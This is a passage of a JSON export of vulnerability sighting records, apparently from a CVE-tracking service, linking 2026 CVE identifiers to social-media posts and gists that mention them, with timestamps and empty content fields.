"creation_timestamp": "2026-02-24T02:33:59.063848Z"}, {"uuid": "5d99ccd6-2dd5-4358-abd5-b18dcb16160e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27611", "type": "seen", "source": "https://gist.github.com/alon710/e8bd93f4619202bc0c1f669862922839", "content": "", "creation_timestamp": "2026-02-25T16:10:19.000000Z"}, {"uuid": "323338a3-8f29-4e3f-8d9d-3dd6a9b2e99b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27208", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfs3o5zktu2q", "content": "", "creation_timestamp": "2026-02-26T21:00:15.952813Z"}, {"uuid": "fc43239a-24c1-4a00-a563-08130d03bb1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27819", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgdfydsx3d2l", "content": "", "creation_timestamp": "2026-03-05T18:20:10.363715Z"}, {"uuid": "3f997dcb-fca8-4d10-a177-eb59f4d48284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27626", "type": "seen", "source": "https://gist.github.com/alon710/5a98ccf5e002241a9fed9bd171aac6d2", "content": "", "creation_timestamp": "2026-02-25T16:40:18.000000Z"}, {"uuid": "a890832b-92bf-4431-b531-4288e9ffc521", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27507", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfn6mtw4az2h", "content": "", "creation_timestamp": "2026-02-24T22:09:54.113289Z"}, {"uuid": "fe3ddda9-21c5-4d38-a9b8-8b936a823f3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27837", "type": "seen", "source": "https://gist.github.com/alon710/542919c9baa74ad65aba77993c4f58c9", "content": "", "creation_timestamp": "2026-02-26T21:10:19.000000Z"}, {"uuid": "0662a092-0bf9-437f-8829-85956342dba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2781", "type": "seen", "source": "https://bsky.app/profile/Mozilla.activitypub.awakari.com.ap.brid.gy/post/3mfs56hzmg3j2", "content": "", "creation_timestamp": "2026-02-26T21:27:38.315676Z"}, {"uuid": "2662232b-6575-490a-97d3-d077b67771de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27593", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfn72ggenz2s", "content": "", "creation_timestamp": "2026-02-24T22:17:30.361158Z"}, {"uuid": "c310907b-10e8-4062-8768-a2455e207c74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27465", "type": "seen", "source": "https://gist.github.com/alon710/bad531f82cc706181325efcbc0815907", "content": "", "creation_timestamp": "2026-02-26T21:40:19.000000Z"}, {"uuid": "c877294b-81de-40da-a86d-e4f63a187198", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27728", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg426jp55g2e", "content": "", "creation_timestamp": "2026-03-02T20:00:15.941303Z"}, {"uuid": "75c195df-149b-4c87-b6a4-63de0fc9ae6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27099", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mf5iom64y32c", "content": "", "creation_timestamp": "2026-02-18T16:27:15.376514Z"}, {"uuid": "396f35d1-b1b5-4a53-b1e2-ed49bcd85a10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27497", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfqthcrjjf2o", "content": "", "creation_timestamp": "2026-02-26T09:00:37.540389Z"}, {"uuid": "efb1df86-e022-4ae9-a8fa-209c85ed5a7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27802", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mggbmtgvk62e", "content": "", "creation_timestamp": "2026-03-06T21:40:09.074593Z"}, {"uuid": "915560bf-9eaf-494d-b8e5-82ab79b2430b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27593", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfnbheklrk2n", "content": "", "creation_timestamp": "2026-02-24T23:00:32.417559Z"}, {"uuid": "e1d987ac-e5b8-4eb8-b1c4-063ade476927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27465", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfs6y5ixog24", "content": "", "creation_timestamp": "2026-02-26T21:59:32.341837Z"}, {"uuid": "58909459-2200-4f27-9ffb-b10f0b3b55de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27593", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116128089999316158", "content": "", "creation_timestamp": "2026-02-24T23:00:35.990524Z"}, {"uuid": "f1a7c764-a7ca-477d-89d5-3210891a7904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27743", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116130803576374137", "content": "", "creation_timestamp": "2026-02-25T10:30:36.135827Z"}, {"uuid": "1794bea5-33ec-48c9-b61a-feac6eca09b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27822", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfp5s3vx542a", "content": "", "creation_timestamp": "2026-02-25T17:00:16.103062Z"}, {"uuid": "6170cfec-8df1-4499-b2bd-38f4cfc9e69c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27743", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfohzed3772u", "content": "", "creation_timestamp": "2026-02-25T10:30:38.116443Z"}, {"uuid": "652983e0-1d9a-49b8-90d0-d5733ee4073e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27457", "type": "seen", "source": "https://gist.github.com/alon710/3876c0d5d37ba696379319dc0ea4cb02", "content": "", "creation_timestamp": "2026-02-26T22:10:19.000000Z"}, {"uuid": "0fab953d-4103-46ff-93f3-6a11ce5aa323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27730", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfp5tgnldv2s", "content": "", "creation_timestamp": "2026-02-25T17:01:01.607910Z"}, {"uuid": "1225d609-cff1-4438-8b94-afe66032f37b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27012", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgdi7zxdec2e", "content": "", "creation_timestamp": "2026-03-05T19:00:16.216000Z"}, {"uuid": "cc8dd19a-7662-4a78-bf09-3934c826b415", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27700", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfp5tojhfl2c", "content": "", "creation_timestamp": "2026-02-25T17:01:10.581827Z"}, {"uuid": "1cad6964-2410-4935-8311-c7c96c7ab45a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27138", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mggfu2ib3y2u", "content": "", "creation_timestamp": "2026-03-06T22:55:45.984838Z"}, {"uuid": "d8555170-86a9-4ee4-8961-fa1c01aae20a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27702", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfp5tv2tg52n", "content": "", "creation_timestamp": "2026-02-25T17:01:16.960924Z"}, {"uuid": "54707d8b-02e3-4684-8fc6-69d0ffd4dc86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27137", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mggfwv5h5x2u", "content": "", "creation_timestamp": "2026-03-06T22:57:20.762018Z"}, {"uuid": "c7becdd0-16f8-4a06-9c68-b2461056853e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27593", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfnbtvd4or2e", "content": "", "creation_timestamp": "2026-02-24T23:07:31.903390Z"}, {"uuid": "1945074c-82e2-4082-98e3-56ad73074eb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2795", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqvf4imnh2d", "content": "", "creation_timestamp": "2026-02-26T09:35:11.127916Z"}, {"uuid": "7518f90f-16ab-4f7f-8c73-5cdadd6b5c13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2796", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqvfdqvup2k", "content": "", "creation_timestamp": "2026-02-26T09:35:18.346570Z"}, {"uuid": "88a2a5bc-881b-470f-af75-df512b32a8ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27154", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsanzhygr2e", "content": "", "creation_timestamp": "2026-02-26T22:29:39.827923Z"}, {"uuid": "9464da9b-50fc-4c16-8ff7-f63d85722c77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27628", "type": "seen", "source": "https://gist.github.com/alon710/86c41d51c3c0a8fbc25d6a0500b36acd", "content": "", "creation_timestamp": "2026-02-25T17:10:19.000000Z"}, {"uuid": "00386cc5-b42b-40d6-8b0f-9735359b695c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2797", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqvfkxpra2u", "content": "", "creation_timestamp": "2026-02-26T09:35:25.554931Z"}, {"uuid": "67b0d670-e95e-441f-bfa3-298f54e9feb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27449", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfsapnhm662w", "content": "", "creation_timestamp": "2026-02-26T22:30:34.657825Z"}, {"uuid": "e2df9973-fd31-4fc8-b58c-7f52d5250f1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2797", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqvgi44px2s", "content": "", "creation_timestamp": "2026-02-26T09:35:56.292636Z"}, {"uuid": "5ef72808-857f-45f5-ba7c-0b90a9789c85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27150", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsarf3kxa2n", "content": "", "creation_timestamp": "2026-02-26T22:31:32.471169Z"}, {"uuid": "b84cbb3e-a498-4cfd-ad2a-c549c719963d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27446", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mgaqwvrymg22", "content": "", "creation_timestamp": "2026-03-04T16:58:14.255031Z"}, {"uuid": "859257ad-c405-4e8c-94f8-c1239e311fc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27727", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfp6vdyzw22x", "content": "", "creation_timestamp": "2026-02-25T17:19:59.065103Z"}, {"uuid": "0fc2554a-be45-4cac-aa3c-1bf1ac4032b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2799", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqvgpqvu52f", "content": "", "creation_timestamp": "2026-02-26T09:36:04.463688Z"}, {"uuid": "14e3d3db-db0d-449b-a18b-34ff57f59b5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27153", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsauxzcoq2n", "content": "", "creation_timestamp": "2026-02-26T22:33:33.064494Z"}, {"uuid": "ce7dd84f-4575-403d-b05d-7a0d03e87bf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27846", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfp75xs6e72y", "content": "", "creation_timestamp": "2026-02-25T17:24:48.278895Z"}, {"uuid": "9c03b245-604b-4a20-bce6-edd73be7a2ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27021", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsb4xebgc2u", "content": "", "creation_timestamp": "2026-02-26T22:38:00.779523Z"}, {"uuid": "6213cef0-7f40-48da-919c-a36731ec742d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2757", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevmf5gw2e", "content": "", "creation_timestamp": "2026-02-25T00:02:10.666467Z"}, {"uuid": "0488abd7-6530-4fe5-b5e0-88a5f15fe846", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mgdjbobtnp2v", "content": "", "creation_timestamp": "2026-03-05T19:19:04.970834Z"}, {"uuid": "3d1b312e-7ccd-4403-a283-95c3da5bb656", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2758", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevmf5gw2e", "content": "", "creation_timestamp": "2026-02-25T00:02:10.773765Z"}, {"uuid": "c49be5c1-6833-499a-a6f1-e059c997e2a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2759", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevnkbfq2y", "content": "", "creation_timestamp": "2026-02-25T00:02:12.178970Z"}, {"uuid": "4629c09f-419d-4ff7-b737-82ea8c5dbe3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27902", "type": "seen", "source": "https://gist.github.com/alon710/b41531a5b724bfdcc375b017f3f74a89", "content": "", "creation_timestamp": "2026-02-26T22:40:19.000000Z"}, {"uuid": "9594f1a9-65a1-477c-90b3-77306e749b3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2760", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevnkbfq2y", "content": "", "creation_timestamp": "2026-02-25T00:02:12.268992Z"}, {"uuid": "4745518d-a5d1-424e-bb6d-5e4581a7832b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27704", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfp7o7bgr62o", "content": "", "creation_timestamp": "2026-02-25T17:33:52.906945Z"}, {"uuid": "28efa76c-f8f5-4032-8a18-4c60b716b636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27149", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsbgdaiho2e", "content": "", "creation_timestamp": "2026-02-26T22:43:15.429796Z"}, {"uuid": "c06b57db-a06d-443a-ab78-9a1070a0e71e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2761", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevnkbfq2y", "content": "", "creation_timestamp": "2026-02-25T00:02:12.356879Z"}, {"uuid": "7330d2c1-42b6-4ab7-835d-82bb0077d06e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2762", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevnkbfq2y", "content": "", "creation_timestamp": "2026-02-25T00:02:12.453376Z"}, {"uuid": "2b76b8b7-0933-4073-9da6-0641c276616f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27728", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfp7zft2r22h", "content": "", "creation_timestamp": "2026-02-25T17:40:09.709137Z"}, {"uuid": "530f9eab-f791-4c68-aedb-f6aaa5c88a53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27961", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg44fvmy362h", "content": "", "creation_timestamp": "2026-03-02T20:40:10.187938Z"}, {"uuid": "67b703e3-39df-49fa-9243-966662295487", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2763", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevnkbfq2y", "content": "", "creation_timestamp": "2026-02-25T00:02:12.543490Z"}, {"uuid": "ce4a68c9-2369-4b11-bd93-d5ec2b6fdfcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27151", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfsca2spa22n", "content": "", "creation_timestamp": "2026-02-26T22:57:39.139130Z"}, {"uuid": "7960373c-377a-4aeb-b08f-2ff57aa3ef30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2764", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevolwlj2h", "content": "", "creation_timestamp": "2026-02-25T00:02:13.437226Z"}, {"uuid": "195838fe-7ec9-4631-bddd-0bb225080848", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27706", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfp7zm72fb2c", "content": "", "creation_timestamp": "2026-02-25T17:40:15.942918Z"}, {"uuid": "450d771e-5fc9-484c-ae84-e851de54e474", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2765", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevolwlj2h", "content": "", "creation_timestamp": "2026-02-25T00:02:13.544669Z"}, {"uuid": "4cb7a2ce-be4f-4328-b12b-d8f8697e11f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27942", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mftnymvk462u", "content": "", "creation_timestamp": "2026-02-27T12:00:53.973027Z"}, {"uuid": "2a53ab7a-bb37-4cb5-ae63-6bfc1e83ae04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27126", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mflghhtxjs2o", "content": "", "creation_timestamp": "2026-02-24T05:24:44.226395Z"}, {"uuid": "eb1e0f91-0f53-4f6c-9447-3ee85997464e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2766", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevolwlj2h", "content": "", "creation_timestamp": "2026-02-25T00:02:13.630748Z"}, {"uuid": "8684071d-0431-4e7e-bcb3-5cb677824bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27728", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpa25gbte2k", "content": "", "creation_timestamp": "2026-02-25T17:40:34.124877Z"}, {"uuid": "147bfac8-480f-4650-8659-7f18284a4d25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27162", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfscizbf7m2n", "content": "", "creation_timestamp": "2026-02-26T23:02:39.335070Z"}, {"uuid": "59f8c13f-dee5-4fe0-9b9b-18f130c67c5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27903", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mftnyo2lcv2r", "content": "", "creation_timestamp": "2026-02-27T12:00:55.150274Z"}, {"uuid": "f6347f7d-3f3e-4b8b-824b-b08d29fd45c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2767", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevolwlj2h", "content": "", "creation_timestamp": "2026-02-25T00:02:13.724563Z"}, {"uuid": "dd7b785c-7ef5-4355-a525-c9f86bf0d01c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27706", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfpa2ehrcy26", "content": "", "creation_timestamp": "2026-02-25T17:40:41.635171Z"}, {"uuid": "7d10996a-7dec-4473-af34-ea3dc8864e6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27904", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mftnyphaoj26", "content": "", "creation_timestamp": "2026-02-27T12:00:56.701573Z"}, {"uuid": "f426bdfb-ef25-4d7e-8aee-2158c2d10131", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27128", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mflgq644xe2o", "content": "", "creation_timestamp": "2026-02-24T05:29:36.156294Z"}, {"uuid": "e89cd67c-a781-4526-b02a-bdf27500a124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2768", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevolwlj2h", "content": "", "creation_timestamp": "2026-02-25T00:02:13.806064Z"}, {"uuid": "05778b95-d775-4e60-b041-000a576ca6b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27952", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg45jsydmg2u", "content": "", "creation_timestamp": "2026-03-02T21:00:15.597033Z"}, {"uuid": "f5d66217-d885-4086-a7e2-4af172cd4ef3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27139", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mggg52mvjk2n", "content": "", "creation_timestamp": "2026-03-06T23:00:47.752938Z"}, {"uuid": "f088d932-5ab3-4c92-94c7-ae836d633c78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27461", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mflgv2iel42n", "content": "", "creation_timestamp": "2026-02-24T05:32:19.907885Z"}, {"uuid": "4ff0d15c-3168-4b39-8b03-4a4cb75f25a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2769", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfnevpneau2d", "content": "", "creation_timestamp": "2026-02-25T00:02:16.809650Z"}, {"uuid": "08d513ba-872d-4ad9-b6ab-0933137a0caf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 